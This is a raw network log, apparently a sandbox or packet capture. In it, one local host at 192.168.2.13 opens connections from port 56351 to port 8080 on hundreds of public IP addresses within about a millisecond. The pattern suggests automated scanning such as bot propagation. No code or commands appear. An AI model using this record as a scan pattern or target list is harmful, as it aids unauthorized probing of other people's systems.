Oct 29, 2024 20:52:41.249139071 CET	56351	8080	192.168.2.13	62.247.144.252
Oct 29, 2024 20:52:41.249139071 CET	56351	8080	192.168.2.13	85.59.28.46
Oct 29, 2024 20:52:41.249139071 CET	56351	8080	192.168.2.13	31.235.157.228
Oct 29, 2024 20:52:41.249139071 CET	56351	8080	192.168.2.13	62.96.237.253
Oct 29, 2024 20:52:41.249139071 CET	56351	8080	192.168.2.13	62.190.56.101
Oct 29, 2024 20:52:41.249140024 CET	56351	8080	192.168.2.13	31.72.43.31
Oct 29, 2024 20:52:41.249145031 CET	56351	8080	192.168.2.13	85.112.142.54
Oct 29, 2024 20:52:41.249145031 CET	56351	8080	192.168.2.13	31.185.238.208
Oct 29, 2024 20:52:41.249145031 CET	56351	8080	192.168.2.13	31.235.65.116
Oct 29, 2024 20:52:41.249145031 CET	56351	8080	192.168.2.13	62.145.72.86
Oct 29, 2024 20:52:41.249145031 CET	56351	8080	192.168.2.13	95.14.119.39
Oct 29, 2024 20:52:41.249145985 CET	56351	8080	192.168.2.13	31.146.147.5
Oct 29, 2024 20:52:41.249213934 CET	56351	8080	192.168.2.13	31.159.229.253
Oct 29, 2024 20:52:41.249213934 CET	56351	8080	192.168.2.13	31.40.94.149
Oct 29, 2024 20:52:41.249213934 CET	56351	8080	192.168.2.13	94.107.185.10
Oct 29, 2024 20:52:41.249213934 CET	56351	8080	192.168.2.13	85.166.91.178
Oct 29, 2024 20:52:41.249213934 CET	56351	8080	192.168.2.13	31.225.173.7
Oct 29, 2024 20:52:41.249213934 CET	56351	8080	192.168.2.13	62.232.173.175
Oct 29, 2024 20:52:41.249217033 CET	56351	8080	192.168.2.13	85.28.134.53
Oct 29, 2024 20:52:41.249217033 CET	56351	8080	192.168.2.13	62.214.145.117
Oct 29, 2024 20:52:41.249217033 CET	56351	8080	192.168.2.13	85.248.27.215
Oct 29, 2024 20:52:41.249217987 CET	56351	8080	192.168.2.13	94.35.64.202
Oct 29, 2024 20:52:41.249217033 CET	56351	8080	192.168.2.13	62.212.38.187
Oct 29, 2024 20:52:41.249217987 CET	56351	8080	192.168.2.13	95.61.80.134
Oct 29, 2024 20:52:41.249217987 CET	56351	8080	192.168.2.13	85.129.172.92
Oct 29, 2024 20:52:41.249217987 CET	56351	8080	192.168.2.13	94.226.41.226
Oct 29, 2024 20:52:41.249218941 CET	56351	8080	192.168.2.13	95.175.151.199
Oct 29, 2024 20:52:41.249217987 CET	56351	8080	192.168.2.13	62.118.175.67
Oct 29, 2024 20:52:41.249218941 CET	56351	8080	192.168.2.13	31.71.239.208
Oct 29, 2024 20:52:41.249221087 CET	56351	8080	192.168.2.13	85.23.144.65
Oct 29, 2024 20:52:41.249218941 CET	56351	8080	192.168.2.13	95.135.111.247
Oct 29, 2024 20:52:41.249217987 CET	56351	8080	192.168.2.13	94.234.143.44
Oct 29, 2024 20:52:41.249221087 CET	56351	8080	192.168.2.13	62.92.47.192
Oct 29, 2024 20:52:41.249221087 CET	56351	8080	192.168.2.13	85.92.109.55
Oct 29, 2024 20:52:41.249218941 CET	56351	8080	192.168.2.13	31.26.214.42
Oct 29, 2024 20:52:41.249221087 CET	56351	8080	192.168.2.13	85.217.20.85
Oct 29, 2024 20:52:41.249218941 CET	56351	8080	192.168.2.13	31.5.141.28
Oct 29, 2024 20:52:41.249221087 CET	56351	8080	192.168.2.13	31.208.41.29
Oct 29, 2024 20:52:41.249218941 CET	56351	8080	192.168.2.13	85.40.61.170
Oct 29, 2024 20:52:41.249221087 CET	56351	8080	192.168.2.13	94.58.205.184
Oct 29, 2024 20:52:41.249218941 CET	56351	8080	192.168.2.13	94.57.241.183
Oct 29, 2024 20:52:41.249217987 CET	56351	8080	192.168.2.13	95.44.170.61
Oct 29, 2024 20:52:41.249218941 CET	56351	8080	192.168.2.13	62.183.224.155
Oct 29, 2024 20:52:41.249218941 CET	56351	8080	192.168.2.13	95.1.244.140
Oct 29, 2024 20:52:41.249249935 CET	56351	8080	192.168.2.13	62.195.172.183
Oct 29, 2024 20:52:41.249249935 CET	56351	8080	192.168.2.13	85.103.80.117
Oct 29, 2024 20:52:41.249249935 CET	56351	8080	192.168.2.13	94.213.91.57
Oct 29, 2024 20:52:41.249249935 CET	56351	8080	192.168.2.13	31.141.40.92
Oct 29, 2024 20:52:41.249253988 CET	56351	8080	192.168.2.13	85.169.179.245
Oct 29, 2024 20:52:41.249253988 CET	56351	8080	192.168.2.13	85.144.2.158
Oct 29, 2024 20:52:41.249253988 CET	56351	8080	192.168.2.13	94.136.57.168
Oct 29, 2024 20:52:41.249253988 CET	56351	8080	192.168.2.13	31.172.179.19
Oct 29, 2024 20:52:41.249253988 CET	56351	8080	192.168.2.13	62.74.30.208
Oct 29, 2024 20:52:41.249253988 CET	56351	8080	192.168.2.13	31.38.51.67
Oct 29, 2024 20:52:41.249255896 CET	56351	8080	192.168.2.13	95.130.190.22
Oct 29, 2024 20:52:41.249255896 CET	56351	8080	192.168.2.13	62.208.82.62
Oct 29, 2024 20:52:41.249255896 CET	56351	8080	192.168.2.13	31.5.195.186
Oct 29, 2024 20:52:41.249255896 CET	56351	8080	192.168.2.13	85.207.130.170
Oct 29, 2024 20:52:41.249258041 CET	56351	8080	192.168.2.13	94.131.143.172
Oct 29, 2024 20:52:41.249258041 CET	56351	8080	192.168.2.13	95.132.60.22
Oct 29, 2024 20:52:41.249258995 CET	56351	8080	192.168.2.13	85.244.159.158
Oct 29, 2024 20:52:41.249259949 CET	56351	8080	192.168.2.13	62.226.40.163
Oct 29, 2024 20:52:41.249259949 CET	56351	8080	192.168.2.13	95.90.146.78
Oct 29, 2024 20:52:41.249259949 CET	56351	8080	192.168.2.13	95.81.142.15
Oct 29, 2024 20:52:41.249259949 CET	56351	8080	192.168.2.13	31.237.249.140
Oct 29, 2024 20:52:41.249259949 CET	56351	8080	192.168.2.13	31.243.68.104
Oct 29, 2024 20:52:41.249263048 CET	56351	8080	192.168.2.13	94.129.222.44
Oct 29, 2024 20:52:41.249263048 CET	56351	8080	192.168.2.13	62.201.16.224
Oct 29, 2024 20:52:41.249264002 CET	56351	8080	192.168.2.13	95.119.9.128
Oct 29, 2024 20:52:41.249263048 CET	56351	8080	192.168.2.13	85.243.135.201
Oct 29, 2024 20:52:41.249263048 CET	56351	8080	192.168.2.13	62.148.161.247
Oct 29, 2024 20:52:41.249263048 CET	56351	8080	192.168.2.13	95.38.74.252
Oct 29, 2024 20:52:41.249263048 CET	56351	8080	192.168.2.13	31.107.107.127
Oct 29, 2024 20:52:41.249267101 CET	56351	8080	192.168.2.13	95.215.164.143
Oct 29, 2024 20:52:41.249273062 CET	56351	8080	192.168.2.13	62.203.46.48
Oct 29, 2024 20:52:41.249273062 CET	56351	8080	192.168.2.13	31.43.254.181
Oct 29, 2024 20:52:41.249286890 CET	56351	8080	192.168.2.13	94.126.223.188
Oct 29, 2024 20:52:41.249286890 CET	56351	8080	192.168.2.13	85.199.77.174
Oct 29, 2024 20:52:41.249286890 CET	56351	8080	192.168.2.13	62.95.27.153
Oct 29, 2024 20:52:41.249289036 CET	56351	8080	192.168.2.13	95.137.220.228
Oct 29, 2024 20:52:41.249289036 CET	56351	8080	192.168.2.13	94.204.199.97
Oct 29, 2024 20:52:41.249289989 CET	56351	8080	192.168.2.13	62.243.103.29
Oct 29, 2024 20:52:41.249289989 CET	56351	8080	192.168.2.13	85.33.97.102
Oct 29, 2024 20:52:41.249290943 CET	56351	8080	192.168.2.13	31.151.2.84
Oct 29, 2024 20:52:41.249290943 CET	56351	8080	192.168.2.13	31.102.142.38
Oct 29, 2024 20:52:41.249291897 CET	56351	8080	192.168.2.13	62.86.216.25
Oct 29, 2024 20:52:41.249290943 CET	56351	8080	192.168.2.13	95.211.180.177
Oct 29, 2024 20:52:41.249291897 CET	56351	8080	192.168.2.13	95.57.152.242
Oct 29, 2024 20:52:41.249290943 CET	56351	8080	192.168.2.13	31.211.226.235
Oct 29, 2024 20:52:41.249295950 CET	56351	8080	192.168.2.13	94.218.199.244
Oct 29, 2024 20:52:41.249301910 CET	56351	8080	192.168.2.13	95.154.197.27
Oct 29, 2024 20:52:41.249305964 CET	56351	8080	192.168.2.13	31.156.138.241
Oct 29, 2024 20:52:41.249305964 CET	56351	8080	192.168.2.13	94.48.122.210
Oct 29, 2024 20:52:41.249309063 CET	56351	8080	192.168.2.13	85.38.138.58
Oct 29, 2024 20:52:41.249335051 CET	56351	8080	192.168.2.13	95.235.214.255
Oct 29, 2024 20:52:41.249336958 CET	56351	8080	192.168.2.13	85.97.56.20
Oct 29, 2024 20:52:41.249336958 CET	56351	8080	192.168.2.13	31.100.3.253
Oct 29, 2024 20:52:41.249336958 CET	56351	8080	192.168.2.13	85.171.137.18
Oct 29, 2024 20:52:41.249336958 CET	56351	8080	192.168.2.13	62.96.16.133
Oct 29, 2024 20:52:41.249339104 CET	56351	8080	192.168.2.13	62.169.56.21
Oct 29, 2024 20:52:41.249339104 CET	56351	8080	192.168.2.13	95.195.68.14
Oct 29, 2024 20:52:41.249341965 CET	56351	8080	192.168.2.13	94.193.226.232
Oct 29, 2024 20:52:41.249351978 CET	56351	8080	192.168.2.13	94.91.136.201
Oct 29, 2024 20:52:41.249357939 CET	56351	8080	192.168.2.13	95.239.121.71
Oct 29, 2024 20:52:41.249357939 CET	56351	8080	192.168.2.13	95.67.74.177
Oct 29, 2024 20:52:41.249357939 CET	56351	8080	192.168.2.13	31.112.113.16
Oct 29, 2024 20:52:41.249357939 CET	56351	8080	192.168.2.13	95.35.35.76
Oct 29, 2024 20:52:41.249358892 CET	56351	8080	192.168.2.13	62.253.99.178
Oct 29, 2024 20:52:41.249357939 CET	56351	8080	192.168.2.13	62.128.108.64
Oct 29, 2024 20:52:41.249357939 CET	56351	8080	192.168.2.13	94.145.200.168
Oct 29, 2024 20:52:41.249375105 CET	56351	8080	192.168.2.13	94.36.199.145
Oct 29, 2024 20:52:41.249376059 CET	56351	8080	192.168.2.13	62.0.122.99
Oct 29, 2024 20:52:41.249377012 CET	56351	8080	192.168.2.13	31.1.201.211
Oct 29, 2024 20:52:41.249376059 CET	56351	8080	192.168.2.13	62.19.75.215
Oct 29, 2024 20:52:41.249377012 CET	56351	8080	192.168.2.13	94.65.45.81
Oct 29, 2024 20:52:41.249377966 CET	56351	8080	192.168.2.13	85.123.3.60
Oct 29, 2024 20:52:41.249394894 CET	56351	8080	192.168.2.13	31.184.108.105
Oct 29, 2024 20:52:41.249396086 CET	56351	8080	192.168.2.13	31.34.120.186
Oct 29, 2024 20:52:41.249396086 CET	56351	8080	192.168.2.13	94.23.130.114
Oct 29, 2024 20:52:41.249397039 CET	56351	8080	192.168.2.13	85.252.76.168
Oct 29, 2024 20:52:41.249397039 CET	56351	8080	192.168.2.13	62.77.189.122
Oct 29, 2024 20:52:41.249397039 CET	56351	8080	192.168.2.13	62.227.176.89
Oct 29, 2024 20:52:41.249403000 CET	56351	8080	192.168.2.13	62.22.244.252
Oct 29, 2024 20:52:41.249404907 CET	56351	8080	192.168.2.13	95.229.249.38
Oct 29, 2024 20:52:41.249409914 CET	56351	8080	192.168.2.13	85.70.210.40
Oct 29, 2024 20:52:41.249413013 CET	56351	8080	192.168.2.13	85.110.234.36
Oct 29, 2024 20:52:41.249413967 CET	56351	8080	192.168.2.13	62.224.149.35
Oct 29, 2024 20:52:41.249413967 CET	56351	8080	192.168.2.13	31.49.73.205
Oct 29, 2024 20:52:41.249414921 CET	56351	8080	192.168.2.13	62.52.109.240
Oct 29, 2024 20:52:41.249414921 CET	56351	8080	192.168.2.13	94.208.119.146
Oct 29, 2024 20:52:41.249414921 CET	56351	8080	192.168.2.13	85.16.75.86
Oct 29, 2024 20:52:41.249414921 CET	56351	8080	192.168.2.13	95.71.236.69
Oct 29, 2024 20:52:41.249428034 CET	56351	8080	192.168.2.13	94.18.11.44
Oct 29, 2024 20:52:41.249429941 CET	56351	8080	192.168.2.13	31.162.205.148
Oct 29, 2024 20:52:41.249429941 CET	56351	8080	192.168.2.13	95.154.50.2
Oct 29, 2024 20:52:41.249432087 CET	56351	8080	192.168.2.13	62.181.236.148
Oct 29, 2024 20:52:41.249432087 CET	56351	8080	192.168.2.13	31.20.192.240
Oct 29, 2024 20:52:41.249432087 CET	56351	8080	192.168.2.13	95.145.77.151
Oct 29, 2024 20:52:41.249444008 CET	56351	8080	192.168.2.13	94.6.65.219
Oct 29, 2024 20:52:41.249444962 CET	56351	8080	192.168.2.13	62.127.215.198
Oct 29, 2024 20:52:41.249444962 CET	56351	8080	192.168.2.13	94.96.132.41
Oct 29, 2024 20:52:41.249449015 CET	56351	8080	192.168.2.13	31.213.254.74
Oct 29, 2024 20:52:41.249449968 CET	56351	8080	192.168.2.13	94.162.79.92
Oct 29, 2024 20:52:41.249459028 CET	56351	8080	192.168.2.13	85.72.24.19
Oct 29, 2024 20:52:41.249459982 CET	56351	8080	192.168.2.13	85.142.112.139
Oct 29, 2024 20:52:41.249459982 CET	56351	8080	192.168.2.13	94.236.109.162
Oct 29, 2024 20:52:41.249459982 CET	56351	8080	192.168.2.13	31.159.192.107
Oct 29, 2024 20:52:41.249461889 CET	56351	8080	192.168.2.13	94.218.103.244
Oct 29, 2024 20:52:41.249459982 CET	56351	8080	192.168.2.13	95.236.128.195
Oct 29, 2024 20:52:41.249459982 CET	56351	8080	192.168.2.13	62.241.199.143
Oct 29, 2024 20:52:41.249468088 CET	56351	8080	192.168.2.13	95.191.193.166
Oct 29, 2024 20:52:41.249469995 CET	56351	8080	192.168.2.13	95.53.124.83
Oct 29, 2024 20:52:41.249469995 CET	56351	8080	192.168.2.13	62.76.114.200
Oct 29, 2024 20:52:41.249475002 CET	56351	8080	192.168.2.13	95.116.153.231
Oct 29, 2024 20:52:41.249475002 CET	56351	8080	192.168.2.13	85.235.230.198
Oct 29, 2024 20:52:41.249485016 CET	56351	8080	192.168.2.13	85.173.182.93
Oct 29, 2024 20:52:41.249500036 CET	56351	8080	192.168.2.13	62.59.100.215
Oct 29, 2024 20:52:41.249514103 CET	56351	8080	192.168.2.13	62.96.66.156
Oct 29, 2024 20:52:41.249521017 CET	56351	8080	192.168.2.13	62.30.142.145
Oct 29, 2024 20:52:41.249521971 CET	56351	8080	192.168.2.13	31.0.231.194
Oct 29, 2024 20:52:41.249524117 CET	56351	8080	192.168.2.13	85.252.239.105
Oct 29, 2024 20:52:41.249537945 CET	56351	8080	192.168.2.13	94.132.29.174
Oct 29, 2024 20:52:41.249541998 CET	56351	8080	192.168.2.13	31.22.49.165
Oct 29, 2024 20:52:41.249546051 CET	56351	8080	192.168.2.13	94.204.104.34
Oct 29, 2024 20:52:41.249561071 CET	56351	8080	192.168.2.13	95.26.20.46
Oct 29, 2024 20:52:41.249561071 CET	56351	8080	192.168.2.13	62.131.91.115
Oct 29, 2024 20:52:41.249566078 CET	56351	8080	192.168.2.13	85.17.129.79
Oct 29, 2024 20:52:41.249568939 CET	56351	8080	192.168.2.13	62.222.21.125
Oct 29, 2024 20:52:41.249572039 CET	56351	8080	192.168.2.13	94.66.140.192
Oct 29, 2024 20:52:41.249593019 CET	56351	8080	192.168.2.13	31.78.232.125
Oct 29, 2024 20:52:41.249598980 CET	56351	8080	192.168.2.13	94.15.179.217
Oct 29, 2024 20:52:41.249612093 CET	56351	8080	192.168.2.13	62.137.39.34
Oct 29, 2024 20:52:41.249614000 CET	56351	8080	192.168.2.13	94.230.192.31
Oct 29, 2024 20:52:41.249627113 CET	56351	8080	192.168.2.13	95.80.83.14
Oct 29, 2024 20:52:41.249649048 CET	56351	8080	192.168.2.13	31.171.205.50
Oct 29, 2024 20:52:41.249649048 CET	56351	8080	192.168.2.13	85.38.164.217
Oct 29, 2024 20:52:41.249650955 CET	56351	8080	192.168.2.13	85.81.156.92
Oct 29, 2024 20:52:41.249650955 CET	56351	8080	192.168.2.13	85.104.128.168
Oct 29, 2024 20:52:41.249663115 CET	56351	8080	192.168.2.13	62.10.223.208
Oct 29, 2024 20:52:41.249665022 CET	56351	8080	192.168.2.13	62.49.6.7
Oct 29, 2024 20:52:41.249665022 CET	56351	8080	192.168.2.13	94.209.186.1
Oct 29, 2024 20:52:41.249672890 CET	56351	8080	192.168.2.13	95.245.94.2
Oct 29, 2024 20:52:41.249679089 CET	56351	8080	192.168.2.13	85.66.26.40
Oct 29, 2024 20:52:41.249679089 CET	56351	8080	192.168.2.13	94.99.226.228
Oct 29, 2024 20:52:41.249691963 CET	56351	8080	192.168.2.13	94.227.147.225
Oct 29, 2024 20:52:41.249692917 CET	56351	8080	192.168.2.13	85.4.135.136
Oct 29, 2024 20:52:41.249701023 CET	56351	8080	192.168.2.13	62.59.98.121
Oct 29, 2024 20:52:41.249701023 CET	56351	8080	192.168.2.13	85.171.0.200
Oct 29, 2024 20:52:41.249701023 CET	56351	8080	192.168.2.13	94.240.160.4
Oct 29, 2024 20:52:41.249701977 CET	56351	8080	192.168.2.13	95.55.90.61
Oct 29, 2024 20:52:41.249717951 CET	56351	8080	192.168.2.13	94.105.0.72
Oct 29, 2024 20:52:41.249746084 CET	56351	8080	192.168.2.13	85.232.226.23
Oct 29, 2024 20:52:41.249746084 CET	56351	8080	192.168.2.13	85.216.173.161
Oct 29, 2024 20:52:41.249747992 CET	56351	8080	192.168.2.13	31.191.209.104
Oct 29, 2024 20:52:41.249749899 CET	56351	8080	192.168.2.13	62.233.166.252
Oct 29, 2024 20:52:41.249752045 CET	56351	8080	192.168.2.13	85.160.202.98
Oct 29, 2024 20:52:41.249756098 CET	56351	8080	192.168.2.13	94.251.213.73
Oct 29, 2024 20:52:41.249764919 CET	56351	8080	192.168.2.13	62.67.87.161
Oct 29, 2024 20:52:41.249774933 CET	56351	8080	192.168.2.13	94.103.146.153
Oct 29, 2024 20:52:41.249789000 CET	56351	8080	192.168.2.13	62.86.202.138
Oct 29, 2024 20:52:41.249789000 CET	56351	8080	192.168.2.13	85.113.242.10
Oct 29, 2024 20:52:41.249795914 CET	56351	8080	192.168.2.13	31.221.67.39
Oct 29, 2024 20:52:41.249795914 CET	56351	8080	192.168.2.13	95.86.81.153
Oct 29, 2024 20:52:41.249804020 CET	56351	8080	192.168.2.13	62.123.94.141
Oct 29, 2024 20:52:41.249815941 CET	56351	8080	192.168.2.13	95.159.156.177
Oct 29, 2024 20:52:41.249823093 CET	56351	8080	192.168.2.13	85.63.223.23
Oct 29, 2024 20:52:41.249831915 CET	56351	8080	192.168.2.13	62.140.96.172
Oct 29, 2024 20:52:41.249831915 CET	56351	8080	192.168.2.13	31.240.175.206
Oct 29, 2024 20:52:41.249838114 CET	56351	8080	192.168.2.13	85.39.227.124
Oct 29, 2024 20:52:41.249851942 CET	56351	8080	192.168.2.13	94.196.241.152
Oct 29, 2024 20:52:41.249865055 CET	56351	8080	192.168.2.13	62.123.65.40
Oct 29, 2024 20:52:41.249866962 CET	56351	8080	192.168.2.13	85.2.78.102
Oct 29, 2024 20:52:41.249878883 CET	56351	8080	192.168.2.13	31.23.79.174
Oct 29, 2024 20:52:41.249886036 CET	56351	8080	192.168.2.13	31.249.182.138
Oct 29, 2024 20:52:41.249906063 CET	56351	8080	192.168.2.13	62.143.178.243
Oct 29, 2024 20:52:41.249906063 CET	56351	8080	192.168.2.13	31.247.53.162
Oct 29, 2024 20:52:41.249906063 CET	56351	8080	192.168.2.13	62.26.207.224
Oct 29, 2024 20:52:41.249906063 CET	56351	8080	192.168.2.13	31.121.169.206
Oct 29, 2024 20:52:41.249916077 CET	56351	8080	192.168.2.13	62.76.6.72
Oct 29, 2024 20:52:41.249928951 CET	56351	8080	192.168.2.13	62.35.3.213
Oct 29, 2024 20:52:41.249929905 CET	56351	8080	192.168.2.13	95.29.28.96
Oct 29, 2024 20:52:41.249933004 CET	56351	8080	192.168.2.13	95.203.164.106
Oct 29, 2024 20:52:41.249941111 CET	56351	8080	192.168.2.13	94.96.30.246
Oct 29, 2024 20:52:41.249953032 CET	56351	8080	192.168.2.13	31.116.111.210
Oct 29, 2024 20:52:41.249974966 CET	56351	8080	192.168.2.13	62.191.107.84
Oct 29, 2024 20:52:41.249980927 CET	56351	8080	192.168.2.13	95.152.182.134
Oct 29, 2024 20:52:41.249982119 CET	56351	8080	192.168.2.13	62.32.222.165
Oct 29, 2024 20:52:41.249985933 CET	56351	8080	192.168.2.13	85.74.66.13
Oct 29, 2024 20:52:41.250005007 CET	56351	8080	192.168.2.13	62.179.24.100
Oct 29, 2024 20:52:41.250009060 CET	56351	8080	192.168.2.13	62.82.112.11
Oct 29, 2024 20:52:41.250015020 CET	56351	8080	192.168.2.13	95.50.113.211
Oct 29, 2024 20:52:41.250015974 CET	56351	8080	192.168.2.13	94.100.121.85
Oct 29, 2024 20:52:41.250036001 CET	56351	8080	192.168.2.13	62.181.216.25
Oct 29, 2024 20:52:41.250037909 CET	56351	8080	192.168.2.13	85.192.68.164
Oct 29, 2024 20:52:41.250050068 CET	56351	8080	192.168.2.13	62.125.233.82
Oct 29, 2024 20:52:41.250052929 CET	56351	8080	192.168.2.13	62.28.233.198
Oct 29, 2024 20:52:41.250073910 CET	56351	8080	192.168.2.13	94.215.113.63
Oct 29, 2024 20:52:41.250077963 CET	56351	8080	192.168.2.13	62.215.130.75
Oct 29, 2024 20:52:41.250085115 CET	56351	8080	192.168.2.13	94.118.42.209
Oct 29, 2024 20:52:41.250089884 CET	56351	8080	192.168.2.13	95.39.168.64
Oct 29, 2024 20:52:41.250092030 CET	56351	8080	192.168.2.13	94.3.237.37
Oct 29, 2024 20:52:41.250092983 CET	56351	8080	192.168.2.13	31.66.80.163
Oct 29, 2024 20:52:41.250093937 CET	56351	8080	192.168.2.13	31.119.17.81
Oct 29, 2024 20:52:41.250109911 CET	56351	8080	192.168.2.13	85.187.54.162
Oct 29, 2024 20:52:41.250109911 CET	56351	8080	192.168.2.13	94.219.2.57
Oct 29, 2024 20:52:41.250109911 CET	56351	8080	192.168.2.13	95.1.68.93
Oct 29, 2024 20:52:41.250117064 CET	56351	8080	192.168.2.13	31.125.163.245
Oct 29, 2024 20:52:41.250128031 CET	56351	8080	192.168.2.13	95.234.209.15
Oct 29, 2024 20:52:41.250133991 CET	56351	8080	192.168.2.13	95.95.210.19
Oct 29, 2024 20:52:41.250133991 CET	56351	8080	192.168.2.13	62.77.222.212
Oct 29, 2024 20:52:41.250143051 CET	56351	8080	192.168.2.13	62.120.237.156
Oct 29, 2024 20:52:41.250153065 CET	56351	8080	192.168.2.13	62.147.44.240
Oct 29, 2024 20:52:41.250153065 CET	56351	8080	192.168.2.13	62.94.116.166
Oct 29, 2024 20:52:41.250164986 CET	56351	8080	192.168.2.13	85.94.167.43
Oct 29, 2024 20:52:41.250165939 CET	56351	8080	192.168.2.13	62.251.123.112
Oct 29, 2024 20:52:41.250165939 CET	56351	8080	192.168.2.13	95.168.180.58
Oct 29, 2024 20:52:41.250170946 CET	56351	8080	192.168.2.13	94.9.201.28
Oct 29, 2024 20:52:41.250170946 CET	56351	8080	192.168.2.13	62.169.57.135
Oct 29, 2024 20:52:41.250179052 CET	56351	8080	192.168.2.13	85.212.18.79
Oct 29, 2024 20:52:41.250189066 CET	56351	8080	192.168.2.13	31.75.143.152
Oct 29, 2024 20:52:41.250190973 CET	56351	8080	192.168.2.13	95.169.238.250
Oct 29, 2024 20:52:41.250201941 CET	56351	8080	192.168.2.13	62.202.158.247
Oct 29, 2024 20:52:41.250201941 CET	56351	8080	192.168.2.13	85.154.129.101
Oct 29, 2024 20:52:41.250226021 CET	56351	8080	192.168.2.13	95.228.237.54
Oct 29, 2024 20:52:41.250226974 CET	56351	8080	192.168.2.13	31.250.179.86
Oct 29, 2024 20:52:41.250231981 CET	56351	8080	192.168.2.13	94.91.170.126
Oct 29, 2024 20:52:41.250243902 CET	56351	8080	192.168.2.13	94.0.43.118
Oct 29, 2024 20:52:41.250252962 CET	56351	8080	192.168.2.13	31.57.240.108
Oct 29, 2024 20:52:41.250253916 CET	56351	8080	192.168.2.13	94.155.223.160
Oct 29, 2024 20:52:41.250262976 CET	56351	8080	192.168.2.13	31.203.231.220
Oct 29, 2024 20:52:41.250266075 CET	56351	8080	192.168.2.13	95.40.118.238
Oct 29, 2024 20:52:41.250284910 CET	56351	8080	192.168.2.13	31.35.249.37
Oct 29, 2024 20:52:41.250288010 CET	56351	8080	192.168.2.13	95.15.182.49
Oct 29, 2024 20:52:41.250293970 CET	56351	8080	192.168.2.13	94.226.44.120
Oct 29, 2024 20:52:41.250293970 CET	56351	8080	192.168.2.13	94.241.6.20
Oct 29, 2024 20:52:41.250299931 CET	56351	8080	192.168.2.13	85.157.154.194
Oct 29, 2024 20:52:41.250315905 CET	56351	8080	192.168.2.13	95.218.146.199
Oct 29, 2024 20:52:41.250315905 CET	56351	8080	192.168.2.13	94.150.41.12
Oct 29, 2024 20:52:41.250320911 CET	56351	8080	192.168.2.13	31.232.87.92
Oct 29, 2024 20:52:41.250348091 CET	56351	8080	192.168.2.13	62.217.199.67
Oct 29, 2024 20:52:41.250348091 CET	56351	8080	192.168.2.13	95.66.209.36
Oct 29, 2024 20:52:41.250348091 CET	56351	8080	192.168.2.13	95.98.93.114
Oct 29, 2024 20:52:41.250358105 CET	56351	8080	192.168.2.13	85.244.143.180
Oct 29, 2024 20:52:41.250366926 CET	56351	8080	192.168.2.13	31.184.52.106
Oct 29, 2024 20:52:41.250371933 CET	56351	8080	192.168.2.13	31.110.142.122
Oct 29, 2024 20:52:41.250371933 CET	56351	8080	192.168.2.13	62.187.67.50
Oct 29, 2024 20:52:41.250399113 CET	56351	8080	192.168.2.13	31.212.249.72
Oct 29, 2024 20:52:41.250400066 CET	56351	8080	192.168.2.13	31.190.180.251
Oct 29, 2024 20:52:41.250406027 CET	56351	8080	192.168.2.13	62.154.78.97
Oct 29, 2024 20:52:41.250406981 CET	56351	8080	192.168.2.13	31.205.113.66
Oct 29, 2024 20:52:41.250413895 CET	56351	8080	192.168.2.13	31.60.0.216
Oct 29, 2024 20:52:41.250428915 CET	56351	8080	192.168.2.13	62.153.218.78
Oct 29, 2024 20:52:41.250433922 CET	56351	8080	192.168.2.13	95.156.181.51
Oct 29, 2024 20:52:41.250443935 CET	56351	8080	192.168.2.13	94.76.3.86
Oct 29, 2024 20:52:41.250447035 CET	56351	8080	192.168.2.13	62.208.102.87
Oct 29, 2024 20:52:41.250452042 CET	56351	8080	192.168.2.13	95.225.4.153
Oct 29, 2024 20:52:41.250452995 CET	56351	8080	192.168.2.13	95.77.130.91
Oct 29, 2024 20:52:41.250461102 CET	56351	8080	192.168.2.13	31.166.147.20
Oct 29, 2024 20:52:41.250474930 CET	56351	8080	192.168.2.13	94.41.228.6
Oct 29, 2024 20:52:41.250478983 CET	56351	8080	192.168.2.13	85.245.120.74
Oct 29, 2024 20:52:41.250488997 CET	56351	8080	192.168.2.13	95.131.122.54
Oct 29, 2024 20:52:41.250488997 CET	56351	8080	192.168.2.13	85.44.217.135
Oct 29, 2024 20:52:41.250511885 CET	56351	8080	192.168.2.13	85.124.203.246
Oct 29, 2024 20:52:41.250521898 CET	56351	8080	192.168.2.13	95.206.45.255
Oct 29, 2024 20:52:41.250521898 CET	56351	8080	192.168.2.13	31.255.201.140
Oct 29, 2024 20:52:41.250521898 CET	56351	8080	192.168.2.13	62.109.88.109
Oct 29, 2024 20:52:41.250521898 CET	56351	8080	192.168.2.13	95.187.9.163
Oct 29, 2024 20:52:41.250549078 CET	56351	8080	192.168.2.13	31.11.207.122
Oct 29, 2024 20:52:41.250549078 CET	56351	8080	192.168.2.13	94.200.66.85
Oct 29, 2024 20:52:41.250550032 CET	56351	8080	192.168.2.13	95.21.127.1
Oct 29, 2024 20:52:41.250571012 CET	56351	8080	192.168.2.13	95.164.222.212
Oct 29, 2024 20:52:41.250581026 CET	56351	8080	192.168.2.13	95.108.54.122
Oct 29, 2024 20:52:41.250585079 CET	56351	8080	192.168.2.13	62.254.92.226
Oct 29, 2024 20:52:41.250591040 CET	56351	8080	192.168.2.13	85.167.123.28
Oct 29, 2024 20:52:41.250591040 CET	56351	8080	192.168.2.13	31.187.161.253
Oct 29, 2024 20:52:41.250607014 CET	56351	8080	192.168.2.13	85.159.18.96
Oct 29, 2024 20:52:41.250622034 CET	56351	8080	192.168.2.13	85.66.62.181
Oct 29, 2024 20:52:41.250627995 CET	56351	8080	192.168.2.13	85.127.14.39
Oct 29, 2024 20:52:41.250629902 CET	56351	8080	192.168.2.13	62.177.147.20
Oct 29, 2024 20:52:41.250629902 CET	56351	8080	192.168.2.13	94.203.218.69
Oct 29, 2024 20:52:41.250629902 CET	56351	8080	192.168.2.13	85.24.233.33
Oct 29, 2024 20:52:41.250637054 CET	56351	8080	192.168.2.13	94.171.155.63
Oct 29, 2024 20:52:41.250638008 CET	56351	8080	192.168.2.13	94.7.208.179
Oct 29, 2024 20:52:41.250638008 CET	56351	8080	192.168.2.13	94.114.114.237
Oct 29, 2024 20:52:41.250642061 CET	56351	8080	192.168.2.13	31.125.122.32
Oct 29, 2024 20:52:41.250677109 CET	56351	8080	192.168.2.13	62.242.186.51
Oct 29, 2024 20:52:41.250680923 CET	56351	8080	192.168.2.13	94.34.106.162
Oct 29, 2024 20:52:41.250691891 CET	56351	8080	192.168.2.13	31.173.119.220
Oct 29, 2024 20:52:41.250696898 CET	56351	8080	192.168.2.13	95.87.85.237
Oct 29, 2024 20:52:41.250696898 CET	56351	8080	192.168.2.13	85.136.127.217
Oct 29, 2024 20:52:41.250699043 CET	56351	8080	192.168.2.13	62.190.14.217
Oct 29, 2024 20:52:41.250705004 CET	56351	8080	192.168.2.13	85.142.158.237
Oct 29, 2024 20:52:41.250705957 CET	56351	8080	192.168.2.13	94.114.97.45
